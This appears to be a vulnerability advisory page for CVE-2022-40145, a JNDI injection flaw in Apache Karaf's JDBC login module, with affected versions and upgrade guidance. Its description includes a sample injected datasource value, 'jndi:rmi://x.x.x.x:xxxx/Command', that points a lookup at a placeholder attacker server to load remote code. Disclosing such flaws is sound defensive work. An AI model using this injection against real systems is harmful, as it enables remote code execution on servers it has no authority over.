CVE-2022-40145
Description
This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL. The function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource use InitialContext.lookup(jndiName) without filtering. An user can modify `options.put(JDBCUtils.DATASOURCE, "osgi:" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,"jndi:rmi://x.x.x.x:xxxx/Command");` in JdbcLoginModuleTest#setup. This is vulnerable to a remote code execution (RCE) attack when a configuration uses a JNDI LDAP data source URI when an attacker has control of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7. We encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8
How to fix
- apache karaf4.3.8, 4.4.2 or later
- org.apache.karaf:apache-karaf4.3.8, 4.4.2 or later
Affected products
| Product | Affected versions | Fixed in |
|---|---|---|
| apache karaf | v < 4.3.8, 4.4.0 ≤ v < 4.4.2 | 4.3.8, 4.4.2 |
| org.apache.karaf:apache-karafMaven | v < 4.3.8, 4.4.0 ≤ v < 4.4.2 | 4.3.8, 4.4.2 |
Check your version
Choose the product and enter the version you run to see whether it falls in the affected range.
Attack Surface Management
See the assets tied to your domains, the technologies they run and known vulnerabilities in one list.